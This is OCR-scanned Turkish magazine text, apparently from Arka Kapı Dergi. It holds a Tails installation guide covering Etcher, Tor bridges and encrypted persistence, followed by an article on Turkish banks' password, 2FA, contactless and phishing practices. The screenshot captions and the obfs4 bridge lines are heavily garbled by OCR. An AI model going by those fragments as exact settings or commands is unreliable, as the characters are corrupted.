zetime imkén veren bir baska Tails kopyasi ile degistire- Direct download BitTorrent download What is BTorrent?
bilir‘ 1.1 DOWNLOAD TAILS 1.1 DOWNLOAD TAILS (TORRENT FILE)
. e [
Bu sebeple kurulum asamasinda sizi karsilayan sayfa bu Faiteadhiioaliol s,
senaryonun Oniine ge¢mek i¢in indirdiginiz dosyanin
gercekten Tails ekibinin hazirladig1 dosya olup olmadigi-
n1 anlayabileceginiz bir dogrulama isleminden s6z ediyor.
Bu isleme dosya imzasinin kontrolii denilmektedir. Indir-
meden hemen sonra browser {izerinden de dogrulamay1
yapabilirsiniz. Dergimizde Bayram Gok imzasi ile yayin-
lanan kriptoloji serisi mesajlarin sifrelenmesi ve imzalan- )
mas1 konusunda ayrintili bilgiler icerdigi icin bu kismu . e

ayrintili olarak bagka kaynaklardan okumanizi siddetle
tavsiye ediyoruz.
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Simdilik Tails'in Chrome tarayicilar i¢in hazirladigi dosya dogrulama eklentisini (https://chrome.google.com/webstore/detail/
tails-verification/gaghffbplpialpoeclgjkkbknblfajdl) kullanabilirsiniz.

Kurulumun bu asamasinda Etcher isimli uygulamay: kullanarak elimizdeki USB diske, indirmis oldugumuz Tails image’in:
yazarak bu USB diski bootable yani bilgisayarin dogrudan bu USB diskten baglayabilecegi kivama getirecegiz:

¢

I Install from Windows

van nstall fom Windows English DE ES FA FR T PT

These instructions require:

= Windows 7 (64-bit) or later

Start in Windows.

£

2/5  Install Tails using Etcher

L. Click on the following link to downlozd Eecher:

2. Plug in the USE stick on which you want to install Tails.
El‘j 4l the data on this USE stick will be lost.

3. Open the Echer download.

At the security warning. confirm that you want to apen Ercher.

Etcher starts.

4 Click she Select image bustan

Cheose the USB image that you downloaded earlier.

Etcher 75.2 Mb'lik portable bir program. “Download Etcher for Windows” baglantisina tiklayarak indirdikten sonra programi
actiginizda agagidaki ekran sizi karsilayacak. Unutmadan ekleyelim Tails dosyast i¢in yaptigimiz imza dogrulamasini Etcher
dosyast i¢in de yapilmasi elzemdir.

Etcher — X

L+

Select image

l" balenaEicher Iy balena
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“Select Image1” tiklayarak ytiklemis oldugunuz Tails dosyasini gostermelisiniz. (.iso uzantili dosya)

b
Tptn
« = o ThgPC + Yenl Sirim (D)

Organise = Mew felder it e [
& Wcrks A e % Duste v
& wh

& ThisPC

¥ 30 Objees
B Desbtop

3| Docusnents
4 Dewnicads
B Mutic
= Pictures
B videst
A Hindous ) 2| Ilad.‘:*_-‘;"" - . 12810 KR
= VeniSidim (D)

File naene: | tails-amdd-1hisc ~| [0S Images b e dmg s

Sirada dosyanin kopyalanacagi USB disK’i segmekte. Liitfen dikkat! Bu islem ile birlikte USB diskinizdeki tiim datalar siline-
cektir!

Etcher

SanDisk Cruzer Blade USB Device - 8
o s (]

tails-amd64-3.8.is0

Q" balenaEicher

lyg balena

USB disK’i sectikten sonra “Flash!” butonuna basabiliriz.

Etcher - Starting...

tails-a...3.8.iso

SanDisk.. Device

7

Starting...

View tutorial

ﬁ balenaEicher g balena
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Asagidaki islem ile birlikte USB diske yazma igleminin bittigini anlayabiliriz:

Etcher - X

¥ Flash Complete! Flash Another
1

balena is here!

A Raspberry Pi-based board for
professional appl

Discover More

Simdi sira bilgisayarimizi bu USB ile boot etmekte. Bu islem esnasinda USB disk bilgisayariniza takili durumda olmalidir.

Kimi bilgisayarlar agilista F2 tusuna basildiginda, kimi bilgisayarlar ESC ya da DEL tusu ile birlikte bu segenegi kullanicinin
karsisina getirmektedir. Bilgisayarinizdaki boot sirasini nasil degistirebileceginize dair http://www.boot-disk.com/boot prior-
ity.htm su adresten yardim alabilirsiniz.

Bilgisayarinizi Tails yiiklti USB disk ile baglattiginizda bir dizi islemden sonra sizi asagidaki ekran karsilayacak:

s

Welcome to Tails!

Language & Region (2

Language English - United States
EH Keyboard Layout English (US)
m Formats United States - English

Additional Settings (D

The default settings are safe in most situations. To add a custom setting, press the "+"
button below.

Bu ekranda klavye ve dil tercihleri gibi bir dizi ayar yapmamiz gerekiyor. Ama esas kritik alan “Additional Settings” alani. +
isaretine basarak bu meniiyii agip islemlerimize devam diyoruz:
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Shutdown

Cancel Additional Settings

Language &

E ey
m Form

Additional
The defad
button be

Administration Password Off (default)

E MAC Address Spoofing

g? Network Connection

On (default)

Direct (default)

ed States

glish (US)

- English

BS the "+"

+

“Administration Password” ile Tailse bir yonetici parolas verecegiz. Ozellikle de TOR ayarlarini yaparken kimi dosyalarin dii-

zenleme islemleri i¢in bu yetkiye ihtiyag duyacagiz.

Tails’i kullanim amacimiz daha ¢ok PC diski tizerinden iz birakmadan kullanabilmek. Fakat internet geziniminizde kimliginizi
de anonimlestirmek istiyorsaniz network baglantis ayarlarindan ¢ikiglarimizin Tor {izerinden yapilmasi gerektigini belirtece-

giz.

Bunun i¢in “Additional Settings alanindan Network Connection1” segiyoruz.

Shutdown

Start Tails

Cancel Additional Settings

Back

Add

Language §

EH reyb
m Form)

Additional]

& Admi

Network Configuration

If your Internet connection is censored, filtered, or proxied
you can configure a Tor bridge or a local proxy. To work

completely offline, you can disable all networking.

Connect directly to the Tor network (default)

Configure a Tor bridge or local proxy

Disable all networking

ed States

glish (US)

- English

On

Ulkemizde Tor’a direkt erisim engellendigi i¢in bu erisimi bir képrii (bridge) tizerinden yapacagiz. Bu segenegi segiyoruz.
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Unutmadan bu unutkan, iz birakmayan islemlerinizde higbir sekilde internet erisim ihtiyaci duymayacak olabilirsiniz. “Disable
all networking’i” segerek isletim sisteminin tiim baglantisini kesebilmek de miimkiin.

ason

You will configure the Tor bridge and local proxy later on after connecting to a network.

Welcome to Tails!

Language & Region (7)

Language English - United States
[ Keyboard Layout English (US)
m Formats United States - English

Additional Settings ()

g Administration Password On
g? Network Connection Bridge & Proxy
+

Gerekli ayarlar1 yaptiktan sonra artik Tails’i baglatmaya haziriz. Start Tails butonuna basarak Tails’i baglatiyoruz.

Simdi yapmamiz gerekenler sirasi ile, once internet baglantisini kuracak, ardindan internet ¢ikislarinin Tor {izerinden yapilma-
sin1 saglamak i¢in Bridge ayarlarini girecegiz.

Ustte bulunan gorev cubugu simgesinin saginda kalan ag ikonunu tiklayarak eviniz ya da isyerinizdeki kablosuz modeme ya da
bilgisayarinizin ag kartina network kablosunu takarak isletim sisteminin ag baglantisini saglayabilirsiniz.

Baglant1 kurulduktan sonra, sayet okuyucularimiz Tiirkiyede ise, karsilarina asagidaki gibi bir ekran gelecek. Bu ekran yukarida
soziini ettigimiz engellemeden 6tiirti Tor networkiine baglanilamadigini belirtiyor.

Coenect to Ter

Chk “Conrect” ko connedt 1o T,

Cick “Configure” 10 adust network setings # you are in a country that censors Tor (such as Egype
Chia, Turkey) of i Yo Al CONNECSNG OM & Bivaln Hework (At regunes & proxy.

Connect Contigure

For asssiance, v ieproject onglabouticontact himigsepport
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Configure segenegi ile beraber Tor networkiine indirekt yoldan baglanmamizi saglayacak bridge (koprii) ayarlarimizi yapabi-
liriz.

Tor Network Settings

lor i Censoerd i my country
Enter brdge niommason om & nssted souce.

| s & prowy 10 connect 10 the imemet &

For asssstance, visit sepioject orglabouticontact himiSseppon

Q.

Bizi karsilayan ekranda tilkemizde Tor’un sensorlendigini tiziilerek belirterek, hemen altindaki kutuya bridge ayarlarini giriyo-
ruz.

Durun bir dakika! Bridge’leri nereden bulacagiz?
Bunun i¢in Tor’'un e-posta servisine bir e-posta gondererek gecerli ayarlari talep ediyoruz.
Fakat Tailsde Tor ¢aligmiyor, bunu nasil yapacagiz? Sistemi de Tails ile baglattik?

Tails > Internet meniilerinin altinda bulunan Unsafe Browser1 kullanarak simdilik bu isi ¢6zebiliriz.

Tor Network Settings

Tee b5 consoend in my country
Enter bridge nfommason oM & ied Sowce,

I'emse @ prowy 10 connect 1o the inemet @

For assstance. sl Keproject orglabouticontact imissupport

Qua
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Inbox (53} -

Eesgeaplerpioject org

Unsafe Browser iizerinden e-posta hesabimiza eristik. Simdi bridges@torproject.org adresine gévdesinde “get transport obfs4”
“yazil1 bir e-posta gonderip cevabi bekliyoruz.

- o EF D
* Gmai

Compois

Intiox Re: [no subject] s

. bridgesg@torproject.org
Snoozed -
Sent Hed
[This s e stoomated message. plaase do net reply |

Heti e your bk

1 TOAF AR D ASSE TEEFACRSCANF SSEBT20ACN0RAR

205V 2K B MK L YDUBGBSIFCEL vy o parPY sRaGLA it

0.906 Boaz3ETE TSFIEICERS

To ariet beckpes. it Tor Beowsm st ga 4o the Tix Browser domelond
page [0] thera rd staing
Tow Browser

W e Tox Btwork Stz desgse pips up, chek Tosigras” and Rollow
the wkzard el it sk

» Do yous Imeimt Sernice Prosider [15F] Slock, o sthenwise o cosnecion

Beklenen ayarlar geldi. Simdi bu bilgileri alip, bizden bridge ayarlarini bekleyen Tor konfigiirasyon ekranma giriyoruz ve Con-
nect diyoruz:
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Tor Netweek Settings

Ton . censcred in my country
e MR Iokarmalion kot RS Seaboh. oD
obisd 37 218241 1705223 TDMFIAED24E5E TREFACOSCAAFSSERT2DE0I8IAM con
edsd 46 a8 BE63LAS02I0
pibdsd B2.225 217 55:9%0 BOG236
—_—

con=55

| s & prosey 1o connect 1o e Inevnet @

For assstance, visit kepmject onglabouticonsact himiSsapport

Qut

Bu islemi de tamamladiktan sonra simdi Tails ile ilgili 6nemli bir noktaya geldik. Evet sistemimiz unutkan bir igletim sistemi
olmas igin tasarlandi. Ama &yle bilgiler var ki tekrar tekrar girmek istemiyoruz yahut bir kisim bilgiyi ¢alistigimiz bilgisayar
tizerinde olmasa bile disk iizerinde saklamamizin bir mahsuru yok. Béylesi durumlar i¢in Tails'in sundugu encrypted disk, yani
sifreli disk tam bizim ihtiyacimiza gore.

Simdi USB diskimiz tizerinde sifreli bir alan olusturacagiz ve segtigimiz tiirden datalar1 burada saklayacagiz. Ornegin kablosuz
ag parolasin bir kere girdik. Bu, sifreli disk igerisinde saklansin. Tleride bir glin Bitcoin clizdaninizi, parola yoneticinize ait ve-
ritabanini da bu alanda paylagmak isteyebilirsiniz.

Simdi diski olusturmaya baglayalim. Applications > Tails mentisiinden Configure persistent volume segenegini segiyoruz.

Bu se¢imden sonra bizi agagidaki gibi bir ekran karsiyalayacak:
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Setup Tails persistent volume

Persistence wizard - Persistent volume creation

Beware! Using persistence has consequences that must be well
Report an understood. Tails can't help you if you usk it wrong! See the

e Encrypted persistence page of the Tails documentation to learn
more.

@ Choose a passphrase to protect the persistent volume

Tails
documentati A 6.71GiB persistent volume will be created on the SanDisk
Cruzer Blade device. Data on this volume will be stored in an
encrypted form protected by a passphrase

Passphrase sssssessen

| secesscccsl

Verify Passphrase [

Burada diskin bu boliimiiniin sifrelenecegi bir boliim olusturulacak. Bu islem daha 6nce Arka Kapi Dergi say1 2de yayinlanan
disklerin Bitlocker ile sifrelenmesine benzetilebilir.

Diskteki verilerin sifrelenecegi anahtar olarak bir passphrase belirtmemiz isteniyor. Karsimiza gelen kutularda bu passphrase’i
belirtiyoruz.

Create butonuna basmamiz ile birlikte Persistent alanin olusturulmast islemine baslaniyor:

Setup Tails persistent volume

Persistence wizard - Persistent volume creation
Creating...

Creating the persistent volume...

l o

documentati

on

Trash

Bu islemden sonra olusturdugumuz sifre korumali bu kalic1 disk alanina hangi verilerin kaydedilecegi belirtiliyor:
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Setup Tails persistent volume

Persistence wizard - Persistent volume configuration

. Specify the files that will be saved in the persistent volume

Report an The selected files will be stored in the encrypted partition /dev/sdb2
p— (6.7GiB), on the SanDisk Cruzer Blade device.

Personal Data

Tails ‘ tored in the “Persistent n:‘

documentati
on

ﬁ b2 Browser Bookmarks

Network Connections

Additional Software

Kigsisel veriler, ag ayarlari, browserdaki sik kullanilan URTler, e-posta yazismalari, kripto para ciizdanlar1 gibi secenekleri bu
pencereden belirtebilirsiniz.

Sifre korumali, kalici disk alani olusturduktan sonra bizi karsilayacak ekran, ayarlarin etkinlestirilmesi i¢in Tails’i yeniden
baslatmamiz gerektigini belirtiyor:

Setup Tai i
P p Tails persistent volume
T Persistence wizard - Finished

Any changes you have made will only take effect after
restarting Tails.

Report an

error

Talls

You may now close this application.

Giivenli disk alanimiza ulasmak i¢in Tails’i yeniden baglatiyoruz. Tails’in baslangi¢ karsilama ekraninda bu defa, sifre korumali
bir diskimiz oldugunu, bunu Tails oturumunda kullanip kullanmamak istedigimizi soran bir secenek ile karsilagacagiz:
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Welcome to Tails!

B Keyboard Layout English (US)

[5) Formats United States - English

Encrypted Persistent Storage & Show Passphrase

’T--ot.-oué =i _

Additional Settings

The default settings are safe in most situations To add a custom setting, press the "+

button below.

Sifrelenmis alana ait parolay1 girip, Unlock tusuna bastigimizda, sayet girdigimiz sifre dogru ise veriler ve disk alani Tails'in bu
oturumunda kullanilabilecek.

Welcome to Tails!

B8 Keyboard Layout English (US)

Ff) Formats United States - English

Encrypted Persistent Storage &

Your persistent storage Is unlocked. Restart Tails to lock it again.

Additional Settings

vl

The default settings are safe in most situations. To add a custom sefting, press the |

button below.

+

Girdigimiz sifre dogru oldugu icin Your persistent storage is unlocked mesajini goriiyoruz.

Tails oturumunuzda bu kalici disk alanina ulagmak isterseniz Places > Persistent meniisii tizerinden disk alanina erigmeniz
miimkiin:

[z birakmayan isletim sistemi Tails’i giivenle kullanabilirsiniz.
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Birkac Oneri

Disk sifrelemesinde giiclii bir parola segmediyseniz yahut PCniz donanim seviyesinde bir arka kapi ieriyorsa Tails derdinize
derman olmayacaktir. S6z konusu giivenlik oldugunda tek bir noktaya giivenmek yerine, daima teyakkuzda olup her bir katman
i¢in ayr1 glivenlik tedbirine bagsvurmak zaruri.

Diger yandan Tails isletim sistemini tirnak boyutundaki micro SD kartlara da kurabilir; sayet PC’niz SD karttan boot edilebilme
ozelligini destekliyorsa Tails’i bu sekilde baslatabilirsiniz.

Micro SD kartlarin en biiyiik avantaji ise tehlike aninda gerektiginde yutulabilecek boyutta olmalari.
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BANKALARA SORDUK:

NASILSINIZ?

GUnlUmuz internet caginda belki de glivenligin en Ust safhada olmasi gereken
kurumlardan, bankalarda “gtivenlik” ne durumda, hangi durumlarda sorumluluk
bizlerde, hangi konularda bankalar, musterilerinin magduriyetlerini gidermek
icin caba sarf ediyorlar? Bunlari birinci agizdan 6grenmek icin bankalara bizzat

basvurduk. Asagida bu sorulari, bu sorularin yanitlarini, uzman goruslerini ve
nacizane birtakim bilgi ve yorumlarimiz sizlerle paylasiyor olacagiz. Biraz daha
siber gtivenlik farkindaligi etrafinda bir makale olacak, buyrun baslayalim.

Tiirkiye’de hizmet veren bankalarin giivenlik

kriterleri ve yaklasimlari:

Ulkemizde hizmet veren, hatir1 sayilir 8 banka ile goriistiik.
Ele aldigimiz konular, sordugumuz sorular ve aldigimiz ya-
nitlar soyle:

*** internet bankaciligi parolalari:

fletisim kurdugumuz bankalarin %75’i, internet bankacilig
parola kullaniminda en fazla ve yalnizca 6 karaktere izin ve-
riyor. Hatta bir¢ok banka, yalnizca rakamlardan olusan parola
kullanimina miisade ediyor. Eger siz de daha 6nce bu durum-
la karsilastiysaniz, muhtemelen nedenini merak etmigsinizdir.
Biz de bu soruyu bankalara sorduk ve bir banka harig hepsin-
den aldigimiz yanit: “Altyap: bu sekilde’, oldu.

Belki bu size biraz ilging gelebilir ama tam yanit veren o bir ban-
kanin yaniti da soyle:

“Aslinda daha 6nceleri harf ve rakam kullanimini zorunlu ki-
liyorduk fakat miisterilerimizden aldigimiz kullanim zorlugu
sikayeti nedeni ile yalnizca rakam kullanimini zorunlu kildik”

--- Sadece rakam kullamimini zorunlu kilmak yerine keske harf
kullanmimina da izin verilseydi, diistincesi geliyor akillara. ---

“Neden?” sorusunun yanitini maalesef ne biz, ne de banka
(¢agr1 merkezi) ¢alisanlar1 biliyor. Bu sorumuza yanit bulabil-
mek i¢in teknik bir ekip ile goriigmek istedigimizde bizi yon-
lendirebilecekleri boyle bir ekibin olmadig: yanitini aldik. Bu
noktada maliyetler s6z konusu olabilir ya da “ne de olsa 2FA
var” diye diisinmiis olabilirler. Derken, bankacilik ve siber gii-
venlik denildiginde Tiirkiyede akla ilk gelen isimlerden Mert
Sarica Beye sorduk:
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Mert Bey, bankalarin bir¢ogu, internet bankacilig1 parola
kullaniminda yalmizca niimerik ve maksimum 6 haneden
olusan parola kullanimina miisade ediyor, bunun nedeni
ne olabilir?

Bu noktada Bankacilik Diizenleme ve Denetleme Kurumunun
yayimladigi mevzuata aykiri bir durum sz konusu degil.
Dolayisi ile aksi belirtilene kadar yeterli giivenlik ve miisteri
memnuniyeti nedeni ile boyle oldugunu soyleyebilirim. Bunu
kesin béyledir diyemem, yani bunlar yillar 6nce alinmis karar-
lar, ben sadece tahmin yiirttiyorum.

Ote yandan captcha varsa, hesap kilitleme varsa bu,
alfaniimeriKin daha gtivenli oldugu anlamina gelmez sayet
arkada ntimerik kullanimdan 6tiirti olugacak riskleri ortadan
kaldirmaya yonelik aksiyon aliyorsan.

Yoksa sunu da sorabilirsin neden 6 hane de 66 hane degil. :)

Yani, niimerigin daha giivensiz oldugu anlamina gelmez diye-
yim, ek kontrollerle. Ozetle regiilasyonda dinamik degiskenin
taniminda numerik kullanmaya izin vermesi, miisteri mem-
nuniyeti ve 2. faktér dogrulamaya olan giivendir.

#BBDKdan:

Miisterilere uygulanan kimlik dogrulama mekanizmasi bir-
birinden bagimsiz en az iki bilesenden olusur. Bu iki bilesen;
miisterinin “bildigi”, miisterinin “sahip oldugu” veya miiste-
rinin “biyometrik bir karakteristigi olan” unsur siiflarmdan
farkly ikisine ait olmak tizere segilir. Miisterinin “bildigi” un-
sur olarak parola/degisken parola bilgisi gibi bilesenler, “sahip
oldugu” unsur olarak tek kullanumlik parola iiretim cihazi,
kisa mesaj servisi ile saglanan tek kullanimlik parola gibi bi-
lesenler kullanilabilir. Bilesenler tamamen miisterinin sahsina
ozgii olmali ve bunlar sunulmadan kimlik dogrulama gercek-
lestirilememeli, hizmetlere erisim saglanamamalidr.

Arka Kapi Dergi - Bankalara Sorduk ARKA KAPI

g) Degisken parola: Kimlik dogrulamada kullanilan, belirli
donemlerde degistirilmesi zorunlu kilinan gizli alfabetik ve/
veya rakamsal karakterler dizisini, ...(1)

Dogru ama maalesef giiniimiizde kisisel bilgilerimizin
¢ogu, bircok yerde mevcut ya da ¢evremizdekiler tarafin-
dan biliniyor/tahmin edilebiliyor. Yalnizca 6 haneli ve nu-
merik bir parola kullanimina izin verilirse, bu parolalar:
tahmin etmek ok gii¢c olmayacaktir. (Orn: 145301 ya da
190301) Bu durumda da geriye tek koruyucu melegimiz;
SMS kaliyor, 6yle degil mi? :)

O da onun i¢in var. :) Ikisini kaptirdiginda da baska kontroller
de bu yiizden var. D1s kapinin kilidine bakip sadece buna gore
degerlendirmek yanlis sonuca gotiirebilir kissadan hisse. 10
anahtarli kilit de koyarsin ama izinsiz giris sonrasi arkada seni
lazerli koruma sistemi bekliyorsa zaten 10 kilide gerek yok
malum 10 kilidi agmak kullanigsiz. Ayrica bankalar 123456
gibi parola kullanimina izin vermiyor.

Bu arada bir giivenlik aragtirmacisi olarak 32 hane, bityiik-kii-
ciik harf, sembol olsun ben de isterim ama risk analizi yapma-
dan derim. :)

Harika! :) “Ikisini kaptirdiginda da baska kontroller de bu
yiizden var” Bunlar neler mesela, telefonla havale / EFT
dogrulama gibi mi?

Kisaca anti-fraud yontemleri, diyeyim. :)

Mert Bey'e katkilarindan dolay: tesekkiir ederiz.

Ben yine de (eger ek bir dogrulama mekanizmasi yoksa ve)
glinlimiizde oltalama saldirilari, hirsizlik, dolandiricilik vaka-
larinin geldigi noktayi, olasi senaryolar1 goz 6niinde bulundu-
rursak, endiseli ve hassas olmak taraftariyim. Zira giivenlikte
endiseli olmak, giivenligin temel unsurlarindandir, diyebiliriz.

Hayir hayir! Bankada milyon dolarlarim yok. :)

(i) | Genellikle bankalarin telefonla islem dogrulama hiz-
metleri, belli tutarlar araliginda gergeklesiyor. Bu bilgi
bankalara ve bankalardaki islem hareketlerinize gore
degisiklik gosterebilir.

Bankalar parola kullanimlarinda minimum 5 ve mak-
simum 25 karaktere izin veriyor.

*** jki Faktorlii dogrulama ozelligi:

2FA - ikili dogrulama 6zelligi i¢in yine iletisim kurdugumuz
bankalardan ikisi hari¢ hepsi, sadece ve yalnizca SMS ile ikili
dogrulama yapiyor. Bu iki banka ise donanimsal ve/veya yazi-
limsal olarak bir sifre iireticisi ile giivenligi tist diizeye ¢ikart-

tiklarini soylityorlar.
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-Peki SMS’in suyu mu ¢ikti?- Diyecek olursaniz, SMS kulla-
niminin 1980’lere kadar dayanan eski, sifrelenmeden gonde-
rilen-alan ve maliyetli bir servis oldugunu hatirlatarak ne
kadar giivenli olup olmadigini, mobil giivenlik ve sinyal istih-
barati alanlarina yogunlagsmis olan, konunun uzmani: Murat
Sisman Bey'e soralim.

Murat Bey, GSM sinyalleri iizerinden SMS’lerin okunmasi
teknik olarak ne kadar miimkiin?

Bu zor bir ¢calisma olmakla birlikte tabii ki mimkiin. Nasil ki
telefon dinlemeleri yapilabiliyor, SMS’ler de okunabilir, hat-
ta dinlemekten daha kolay okunabilir ama ayni baz istasyo-
nu iizerinde olmalisiniz. Ozellikle 4G ve {istii sebekelerde ise
daha zor bir is.

Peki bu noktada internet bankacilig girislerinde, ikili dog-
rulama olarak kullanilan SMS’lerin giivenligi konusunda
endise duymali miy1z? Daha 6nce SMS’lerin yakalanmasi
ile yasanmuis bir hirsizlik vakasi oldu mu?

Tiirkiyede degil ama evet, oldu. Fakat dedigim gibi bu bir hay-

li yetenek isteyen bir is yani diinyada bunu yapabilecek sayilt
kisiler vardir. Ciinkii buradaki mesele sadece gelen SMS’i oku-
maniz degil, ayn1 zamanda, gegerlilik siiresi dolmadan oku-
yabilmenizdir. Yani zamanla yarigiyorsunuz. Ozetle ve genel
olarak bu sistemin giivenli oldugunu soyleyebilirim.

Kripto para borsalarinin neredeyse hepsi, ikili dogrulama
olarak SMS yerine AUTHY ya da Google Auth kullaniyor,
bunun nedeni ne olabilir?

Giivenlikten ziyade, maliyetle ilgili oldugunu diisiinityorum.
Zira SMS, Google Auth ya da AUTHY'e nazaran ¢ok daha ma-
liyetli olacaktir.

Ayni senaryo iizerinden devam edecek olursak, telefona za-
rarli bir yazilim yiikleyerek bu olayin gerceklesme ihtimali-
ni nasil yorumlarsimz?

En kolay ve en ¢ok karsimiza ¢ikan zafiyet budur. RAT diye ta-
bir edilen (Remote Administration Tools) yazilimlar ile anlik
olarak cep telefonlarindaki tiim bilgilere erisilebiliyor. Ozel-
likle Android igletim sistemine sahip cep telefonlar1 bu riskle

biiyiik oranda kars1 karsiyadir. Bu tip yazilimlar ile gelen SMS
mesajlar1 okunabiliyor, silinebiliyor hatta kullanicinin haberi
olmadan SMS bile génderilebiliyor. Bu nedenle bankacilik is-
lemleri yapilan cep telefonunda zararli bir yazilimin bulunma-

s1 demek, tiim parola ve SMS trafiginizin bagkalari tarafindan
elde edilecegi anlamina gelir. Onlem almanin bir¢ok yolu var

bunlardan en 6nemlisi mutlaka cep telefonlarina bilinen bir
markanin antiviriis uygulamasi yiiklenmelidir. Bilinen mar-
kalarin antiviriis uygulamalar1 bir ¢ok zararli yazilimi bula-
biliyor. Yine GooglePlay magazasindan uygulama yiiklerken
istenilen izinlere de dikkat etmek gerekiyor, amaci diginda
istenilen izinler verilmemeli. Genellikle Kuran-1 Kerim, Ezan
Saatleri, Banka Kredisi gibi ficretsiz uygulamalar {izerinden
zararl yazilimlar dagitilmaya devam ediyor. Apple kullanici-
lar1 bu konuda kendilerini daha giivende hissedebilirler ¢iin-
kii; AppStore magazasinda yaymnlanan tiim uygulamalar1 en
ince ayrintisina kadar inceledikten sonra yaymliyor. Ote yan-
dan, eger bir Android isletim sistemine sahip cep telefonunuz
varsa mutlaka tus kilidi kullanmalisiniz. Eger kilidiniz yoksa,
bir restoranda veya bagka bir yerde sarj etmesi icin verdiginiz
kisi ona saniyeler icerisinde zararl bir yazilim yiikleyebilir.

Murat Bey’e katkilarindan dolayi tesekkiir ederiz.
Giivenlikte en “basaril’” banka, ne gibi 6zellikler sunuyor:
o 12 karaktere kadar harf ve rakamlardan olusan parola
kullanima,
o SMS sifresi,
o Sifre treticisi,
o Mobil imza,

o (White-list) Bir IP adresi ve/veya ISS (internet servis
saglayicisi) tanimlamak,

o Ek parola tanimlama,

« Giris sonrasi, gizli veri dogrulamasi,

o Tarih ve saat kisitlamasi (yalnizca T zamaninda giris
yapilabilir),

« Bilgilendirme SMS’i (X lira ve tizerinde beni bilgilendir),

o Alic1 white-list'i tanimlama (yalnizca su hesaplara para
cikigina izin ver) ve

o Ekran klavyesi gibi 6zellikleri sunmaktadir.



*** Mail-order - 2D / 3D alisveris

seceneklerindeki riskler ve sorumluluklar:
Bildiginiz tizere halad 2D / Klasik 6deme ya da diger bir deyim-
le mail-order yontemi ile 6deme alinabiliyor. Fakat klasik 6de-
me yonteminde 2FA - ikili dogrulama olmadig: icin olasi bir
durumunda limitiniz tutarinca sifresiz aligveris yapilabiliyor.
Yani, kart bilgileriniz ele gegirildiginde cep telefonunuza SMS
gelmeksizin aligveris yapilabilir. Tabii, bu durumda bankaniza
durumu bildirebilir ve yapilan harcamaya itiraz edebilirsiniz.
Peki bankalarin yaklasimi ne yonde olur?

Bu bankalardan birisi hari¢ geriye kalan tiim bankalar, genel
hatlariyla size yardimci olmaya galigtiklarini séyleseler de so-
rumlulugunun sizde oldugunu soyliiyor.

(i) | Olast bir durumda magdur olmamak icin kartinizi
klasik 6demeye kapattirabilirsiniz.

3D ile yapilan 6demelerde olasi bir magduriyet ya-
sanmast durumunda, sorumluluk kullanicilardadir.

*** Temassiz islem ozelligi:
Bu 6zellige sahip kartlarda temassiz islem 6zelligi genellikle
acik geliyor. -Gelsin camm, islerimizi pratiklestiriyor.- diyebi-

lirsiniz. Oyle ise su gorsele bir bakalim:
:

Temassiz islem 6zelligi aktif olan kredi
kartlarinizdan haberiniz olmadan, limit yetkisi
kadar deme cekilebilir.

SECHOOL

moss  (@sechool

Kart bilgileriniz calinabilir!

#siberglivenlik #siberfarkindalik
o, o T

Cozlim nedir derseniz, temassiz islem 6zelligini kullanmak is-
tediginiz kartlarinizi, manyetik kart koruyucularinda/ctizdan-
larinda saklayabilirsiniz. RFID (Radio Frequency Identifica-
tion) engelleyici kiliflar, cizdanlar ortalama birka¢ Dolardan
baslhiyor. Ya da bu ozelligi kapattirabilirsiniz.

Peki bu durumlarda bankalarin tutumu ne oluyor?
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Genel itibari ile hepsi bu durumu arastirdigini ve magduriye-
tinizi gidermeye ¢alistigini soylityor fakat bittabi bu konuda
kesin bir magduriyet giderme s6z konusu degil, arastiriliyor
ve ¢oziim iiretmeye ¢alisiliyor.

*** Bilgilerimiz nerede saklaniyor?

Bankalara verdigimiz tiim bu bilgiler nerede saklaniyor, der-
siniz? Bu soruyu sordugumuzda yalnizca bir bankadan net bir
yanit alabildik o da: “Tiirkiyede ve KKTC’ndeki veri merkez-
lerinde tutuldugu yontinde idi”

-Peki bu bilgiler sifrelenerek mi saklaniyor- sorusunun yaniti
ise, “evet” oldu fakat hangi bilgilerin sifrelenerek saklandig:
bilmiyoruz tabii.

*** Bal Tuzagi - Oltalama (Phishing) saldirilari

ve onlemleri:
Belki de ilk duymak istediginiz konu buydu. :)

Phishing - oltalama saldirilari, giiniimiizde en yaygin kulla-
nilan siber saldir1 tiirlerindendir. Bugiine kadar en ¢ok tercih
edileni, e-posta oltalama saldiris1 iken su siralar en yaygin
olani da web siteleri {izerinden yapilanidir, diyebiliriz. Ko-
numuz, bankalar oldugu i¢in agiklamamizi da yine bankalar
tizerinden yapalim. Kullandiginiz bir bankay: diisiiniin. Sal-
dirgan, bu banka sitesinin birebir aynisini {iretiyor, site adini
da gok benzer ya da igerisinde o bankanin adinin gegtigi, 6rn:
x-kampanya.com seklinde aliyor. “Size dzel %28.5 mevduat
faiz firsati”, “Yukaridaki linkten hemen katil! Hediyeni Kap!”,
“Mobil subeye simdi giris yap 10GB aninda cebinde!”, gibi me-
sajlarla sizi bir sekilde bu siteye gekiyor. Goriiniirde higbir fark
olmayan hatta SSL/Giivenlik sertifikasi bile kurulmus bu siteyi
ziyaret ettiginizde, ger¢ek X bankasinin sitesi olarak diisiiniip,
isleme koyuldugunuzda, oltalanmis oluyorsunuz. Bu saldir1
tirti aslinda bagh bagina bir konudur ama su kadarini séyle-
meliyiz ki oltalama saldiris1 belki de en tehlikeli atak tiirtidiir.
Ele aldigimiz konu bankalar oldugu i¢in 6rneklerimiz daha
¢ok banka ve maddi degerler tizerinden ilerliyor ama birkag
sene dnce Iranda yaganan Stuxnet Vakasini hatirlayin mesela.

)

Daha giinliik ve siradan bir yasantida kargilasabilecegimiz bir
ornegi, Sn. Ziyahan Albeniz’in bir haberinden alint1 yaparak
paylasalim. Ev ya da araba satin alacaksiniz, internette soyle
bir aragtirma yaptiniz, ilanlar1 gezerken: “Acil ihtiyagtan dolay:
satilik!” baglikli bir ilana denk geldiniz. Tabii acil ihtiyagtan
satilik ya hani, aradiginiz Girtiniin piyasa degerinin de altinda
olmast o ilani cazibeli kiliyor sizin i¢in. Ariyor, ilan sahibi ile
gdriisiiyorsunuz, “Ilana ¢ok fazla bagvuru var, niyetiniz ciddi
ise kapora gonderin, arabay1 bagkasina satmayayim ben de”
yanitini aliyor ve kaporay: gonderiyorsunuz. Sonra? Sonrasini

malumunuz... (2)
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[gingtir ki giiniimiizde bu olayla sosyal medya siteleri {izerin-
de sponsorlu icerik olarak oldukga sik kargilagiyoruz. Orne-
gin: Twitterda X bankasinin logosu, kampanyasi, gorseli vs.
neredeyse birebir ayn1 ve sponsorlu bir paylasimla karsilasiyor
ve ziyaret ediyoruz. Aman dikkat!

